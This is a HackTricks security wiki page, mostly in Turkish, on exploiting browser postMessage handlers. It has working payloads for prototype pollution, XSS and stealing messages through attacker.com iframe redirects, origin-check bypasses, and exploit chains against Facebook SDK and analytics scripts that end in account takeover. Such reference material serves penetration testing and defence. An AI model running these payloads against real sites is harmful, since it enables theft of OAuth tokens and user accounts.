PostMessage Zafiyetleri
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Gönder PostMessage
PostMessage bir mesaj göndermek için aşağıdaki fonksiyonu kullanır:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Unutmayın ki targetOrigin ‘*’ olabilir veya https://company.com. gibi bir URL olabilir.
İkinci senaryoda, mesaj yalnızca o domaine gönderilebilir (window nesnesinin origin’i farklı olsa bile).
Eğer wildcard kullanılmışsa, mesajlar herhangi bir domaine gönderilebilir ve Window nesnesinin origin’ine gönderilir.
iframe ve targetOrigin içindeki wildcard’a saldırma
As explained in this report eğer X-Frame-Header koruması olmayan ve iframed edilebilen, wildcard (*) kullanarak postMessage ile hassas mesaj gönderen bir sayfa bulursanız, iframe’in origin’ini değiştirerek hassas mesajı kontrolünüzdeki bir domaine leak edebilirsiniz.
Sayfa iframed edilebiliyorsa ama targetOrigin bir URL olarak ayarlanmış ve wildcard değilse, bu hile işe yaramaz.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener JS’in postMessages bekleyen fonksiyonunu bildirmek için kullanılan bir fonksiyondur.
Aşağıdakine benzer bir kod kullanılacaktır:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
Keşif
Mevcut sayfada event listener’ları bulmak için şunları yapabilirsiniz:
- JS kodunda
window.addEventListenerve$(window).on(JQuery sürümü) için ara - Geliştirici araçları konsolunda çalıştır:
getEventListeners(window)
 (1).png)
- Tarayıcının geliştirici araçlarında Elements –> Event Listeners bölümüne gidin
.png)
- https://github.com/benso-io/posta veya https://github.com/fransr/postMessage-tracker gibi bir tarayıcı eklentisi kullanın. Bu tarayıcı eklentileri tüm mesajları yakalar ve size gösterir.
Origin kontrol atlatmaları
event.isTrustedattribute’u gerçek kullanıcı etkileşimlerinden üretilen event’ler içinTruedöndürdüğü için güvenli sayılır. Doğru uygulanırsa atlatılması zordur, ancak güvenlik kontrollerinde önemli bir yerdir.- PostMessage event’lerinde origin doğrulaması için
indexOf()kullanımı atlatılabilir. Bu zafiyete örnek:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
String.prototype.search()’ten gelensearch()metodu regexp amaçlıdır, string için değildir. Regexp dışında bir şey geçirildiğinde implicit olarak regex’e çevrilir ve bu, nokta (.) gibi regex karakterlerinin joker (wildcard) davranışı nedeniyle doğrulamayı atlatmaya izin verebilir. Örneğin:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
match()fonksiyonu dasearch()gibi regex ile çalışır. Regex doğru yapılandırılmamışsa atlatılmaya müsait olabilir. -
escapeHtmlfonksiyonu girdileri karakterleri kaçarak sanitize etmek için tasarlanmıştır. Ancak yeni kaçışlı bir obje yaratmak yerine mevcut objenin özelliklerini üzerine yazar. Bu davranış kötüye kullanılabilir. Özellikle, bir obje kontrollü bir property’sininhasOwnProperty’i tanımayacak şekilde manipüle edilebilirse,escapeHtmlbeklenildiği gibi çalışmaz. Aşağıdaki örnekler bunu gösterir: -
Beklenen başarısızlık:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Kaçışı atlatma:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
Bu zafiyet bağlamında, File objesi okunur-only name propertysi nedeniyle özellikle sömürülebilirdir. Bu property, template’lerde kullanıldığında escapeHtml tarafından sanitize edilmez ve bu durum potansiyel güvenlik risklerine yol açar.
- JavaScript’te
document.domainproperty’si bir script tarafından parent domain içinde daha gevşek same-origin politikası uygulanmasına izin verecek şekilde kısaltılmak üzere ayarlanabilir.
Sadece origin’e güven + güvenilir relay’ler
Eğer bir alıcı sadece event.origin’i kontrol ediyorsa (ör. *.trusted.com gibi herhangi bir şeyi güvenir kabul ediyorsa) genellikle o origin üzerinde saldırgan kontrollü parametreleri postMessage ile sağlanan targetOrigin/targetWindow’a echo’layan bir “relay” sayfası bulabilirsiniz. Örnekler arasında query paramlerini alıp {msg_type, access_token, ...} gibi alanları opener/parent’a ileten marketing/analytics gadget’ları bulunur. Yapabilecekleriniz:
- Hedef sayfayı, handlerların kayıt olması için bir
opener’ı olan bir popup/iframe içinde açın (birçok pixel/SDK yalnızcawindow.openervarsa listener ekler). - Başka bir saldırgan penceresini, trusted origin üzerindeki relay endpoint’e navigasyon yaptırın ve injekte etmek istediğiniz mesaj alanlarını (message type, tokens, nonces) query ile doldurun.
- Mesaj artık güvenilen origin’den geldiği için origin-only doğrulama geçer ve victim listener’da ayrıcalıklı davranışları (durum değişiklikleri, API çağrıları, DOM yazımları) tetikleyebilirsiniz.
Yabanda görülen kötüye kullanım desenleri:
- Analytics SDK’ları (ör. pixel/fbevents-stili)
FACEBOOK_IWL_BOOTSTRAPgibi mesajları tüketir, sonra mesajda sağlanan token kullanılarak backend API çağrıları yapar ve isteğin gövdesinelocation.href/document.referrerdahil eder. Kendi token’ınızı sağlarsanız, bu token ile yapılan istekleri token’ın istek geçmişi/loglarında okuyabilir ve kurban sayfanın URL/referrer’ında bulunan OAuth kodları/token’larını exfiltrate edebilirsiniz. - Arbitrary alanları
postMessageiçine yansıtan herhangi bir relay, ayrıcalıklı listener’ların beklediği message type’ları sahteleyebilmenize izin verir. Zayıf input doğrulamasıyla birleştiğinde Graph/REST çağrılarına, özellik açma işlemlerine veya CSRF-eşdeğer akışlara ulaşılabilir.
Hunting ipuçları: sadece event.origin kontrol eden postMessage listener’larını enumerate edin, sonra URL paramlerini postMessage ile ileten aynı-origin HTML/JS endpoint’leri (marketing preview’ler, login popup’ları, OAuth hata sayfaları) arayın. Bunları window.open() + postMessage ile birleştirerek origin kontrollerini atlayın.
e.origin == window.origin bypass
Bir web sayfasını %%%%%% kullanarak sandboxed iframe içinde embed ederken, iframe’in origin’inin null olarak ayarlandığını anlamak önemlidir. Bu, sandbox attribute’lerinin güvenlik ve işlevsellik üzerindeki etkileri açısından özellikle önemlidir.
Sandbox attribute içinde allow-popups belirtildiğinde, iframe içinden açılan herhangi bir popup, ebeveynin sandbox kısıtlamalarını miras alır. Bu, allow-popups-to-escape-sandbox attribute’u de eklenmedikçe popup penceresinin origin’inin de null olarak ayarlanacağı anlamına gelir; yani iframe ile aynı origin değerini paylaşır.
Sonuç olarak, bu koşullar altında bir popup açıldığında ve iframe’den popup’a postMessage ile bir mesaj gönderildiğinde, gönderen ve alan tarafların origin’leri null olur. Bu durumda e.origin == window.origin kontrolü true (null == null) olarak değerlendirilir; çünkü hem iframe hem popup aynı null origin değerini paylaşmaktadır.
For more information read:
Bypassing SOP with Iframes - 1
e.source atlatma
Mesajın dinlenen script ile aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle Content Scripts from browser extensions için, mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginç olabilir):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
Bir mesajın e.source değerini null yapmaya zorlayabilirsiniz; postMessage gönderen ve hemen silinen bir iframe oluşturarak.
For more information read:
Bypassing SOP with Iframes - 2
X-Frame-Header bypass
Bu saldırıları gerçekleştirebilmek için ideal olarak kurbanın web sayfasını bir iframe içine yerleştirebilmeniz gerekir. Ancak X-Frame-Header gibi bazı header’lar bu davranışı engelleyebilir.
Bu senaryolarda daha az gizli bir saldırı kullanabilirsiniz. Zafiyetli web uygulamasını yeni bir sekmede açıp onunla iletişim kurabilirsiniz:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Ana sayfayı engelleyerek child iframe’e gönderilen mesajı çalma
Aşağıdaki sayfada, veriler gönderilmeden önce main sayfayı blocking yaparak ve child içindeki XSS’i kötüye kullanarak hassas postmessage verisini nasıl çalabileceğinizi görebilirsiniz ve leak the data alınmadan önce:
Blocking main page to steal postmessage
iframe konumunu değiştirerek mesaj çalma
Eğer X-Frame-Header olmayan ve içinde başka bir iframe barındıran bir web sayfasını iframe’leyebiliyorsanız, o child iframe’in konumunu değiştirebilirsiniz; böylece o iframe, wildcard kullanılarak gönderilen bir postmessage alıyorsa, bir saldırgan o iframe’in origin’ini kendi kontrolündeki bir sayfaya değiştirip mesajı steal edebilir:
Steal postmessage modifying iframe location
postMessage ile Prototype Pollution ve/veya XSS
postMessage ile gönderilen verinin JS tarafından çalıştırıldığı senaryolarda, sayfayı iframe’leyip postMessage ile exploit göndererek Prototype Pollution/XSS’i istismar edebilirsiniz.
postMessage aracılığıyla tetiklenen çok iyi açıklanmış birkaç XSS örneği şurada bulunabilir: https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Bir iframe’e gönderilen bir postMessage aracılığıyla Prototype Pollution’u kötüye kullanıp ardından XSS’e yol açan bir exploit örneği:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Daha fazla bilgi için:
- prototype pollution hakkında sayfa bağlantısı
- XSS hakkında sayfa bağlantısı
- client side prototype pollution to XSS hakkında sayfa bağlantısı
Origin kaynaklı script yükleme & supply-chain pivot (CAPIG vaka incelemesi)
capig-events.js sadece window.opener mevcut olduğunda bir message handler kaydediyordu. IWL_BOOTSTRAP sırasında pixel_id’yi kontrol etti ama event.origin’ı sakladı ve daha sonra ${host}/sdk/${pixel_id}/iwl.js’i oluşturmak için bunu kullandı.
Handler'ın saldırgan kontrollü origin yazması
```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```Exploit (origin → script-src pivot):
- Bir opener elde edin: örn., Facebook Android WebView’de
window.name’iwindow.open(target, name)ile yeniden kullanarak pencere kendi opener’ı haline gelir, ardından kötü amaçlı bir iframe’den mesaj gönderin. - Herhangi bir origin’den
IWL_BOOTSTRAPgönderin; buhost = event.origin’ılocalStorage’da kalıcı hale getirir. /sdk/<pixel_id>/iwl.js’i herhangi bir CSP-izinli origin’de host edin (whitelisted analytics domain üzerinde takeover/XSS/upload).startIWL()sonra embedding site’ta (örn.,www.meta.com) saldırgan JS’i yükler; bu da kimlik bilgili cross-origin çağrılara ve hesap ele geçirmeye izin verir.
Doğrudan opener kontrolü mümkün olmadığında, sayfadaki üçüncü taraf bir iframe’i ele geçirmek yine de oluşturulmuş postMessage’i parent’a gönderip saklanan host’u zehirleyerek script yüklemesini zorlayabiliyordu.
Backend-generated shared script → stored XSS: plugin AHPixelIWLParametersPlugin, kullanıcı kural parametrelerini capig-events.js’e eklenen JS içine birleştiriyordu (örn., cbq.config.set(...)). "]} gibi break-out’lar enjekte edilerek rastgele JS eklenebiliyor, bu da onu yükleyen tüm sitelere sunulan paylaşılan script’te stored XSS oluşturuyordu.
Trusted-origin allowlist isn’t a boundary
Sıkı bir event.origin kontrolü yalnızca trusted origin saldırgan JS çalıştıramıyorsa işe yarar. Ayrıcalıklı sayfalar üçüncü taraf iframe’leri gömüp event.origin === "https://partner.com"’un güvenli olduğunu varsaydığında, partner.com’daki herhangi bir XSS parent’a bir köprü olur:
// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})
Gerçek dünyada gözlemlenen saldırı deseni:
- Exploit XSS in the partner iframe ve bir relay gadget bırakın, böylece herhangi bir
postMessagetrusted origin içinde code exec olur:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
- Saldırgan sayfasından, ele geçirilmiş iframe’e üst pencereye izin verilen bir mesaj türünü ileten JS gönderin. Mesaj
partner.com’dan geliyor, allowlist’i geçiyor ve güvensiz şekilde eklenen HTML taşıyor:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
- The parent injects the attacker HTML, giving JS execution in the parent origin (e.g.,
facebook.com), which can then be used to steal OAuth codes or pivot to full account takeover flows.
Key takeaways:
- Partner origin isn’t a boundary: herhangi bir “trusted” partner’daki XSS, saldırganların
event.originkontrollerini aşan izin verilen mesajları göndermesine izin verir. - Handlers that render partner-controlled payloads (e.g.,
innerHTMLon specific message types) make partner compromise a same-origin DOM XSS. - A wide message surface (many types, no structure validation) gives more gadgets for pivoting once a partner iframe is compromised.
postMessage köprülerinde Math.random() callback tokenlerini tahmin etme
When message validation uses a “shared secret” generated with Math.random() (e.g., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:
- Leak PRNG outputs via
window.name: The SDK auto-names plugin iframes withguid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g.,window.frames[0].frames[0].location='https://attacker.com') and readwindow.frames[0].frames[0].nameto obtain a rawMath.random()output. - Force more outputs without reloads: Some SDKs expose a reinit path; in the FB SDK, firing
init:postwith{xfbml:1}forcesXFBML.parse(), destroys/recreates the plugin iframe, and generates new names/callback IDs. Repeated reinit produces as many PRNG outputs as needed (note extra internalMath.random()calls for callback/iframe IDs, so solvers must skip intervening values). - Trusted-origin delivery via parameter pollution: If a first-party plugin endpoint reflects an unsanitized parameter into the cross-window payload (e.g.,
/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), you can inject&type=...&iconSVG=...while preserving the trustedfacebook.comorigin. - Predict the next callback: Convert leaked iframe names back to floats in
[0,1)and feed several values (even non-consecutive) into a V8Math.randompredictor (e.g., Z3-based). Generate the nextguid()locally to forge the expected callback token. - Trigger the sink: Craft the postMessage data so the bridge dispatches
xd.mpn.setupIconIframeand injects HTML iniconSVG(e.g., URL-encoded<img src=x onerror=...>), achieving DOM XSS inside the hosting origin; from there, same-origin iframes (OAuth dialogs, arbiters, etc.) can be read. - Framing quirks help: The chain requires framing. In some mobile webviews,
X-Frame-Optionsmay degrade to unsupportedALLOW-FROMwhenframe-ancestorsis present, and “compat” parameters can force permissiveframe-ancestors, enabling thewindow.nameside channel.
Minimal sahte mesaj örneği
// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
Kaynaklar
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Pratik için: https://github.com/yavolo/eventlistener-xss-recon
- CAPIG postMessage origin trust → script loading + stored JS injection
- Self XSS Facebook Payments
- Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup
- V8 Math.random() state recovery (Z3 predictor)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


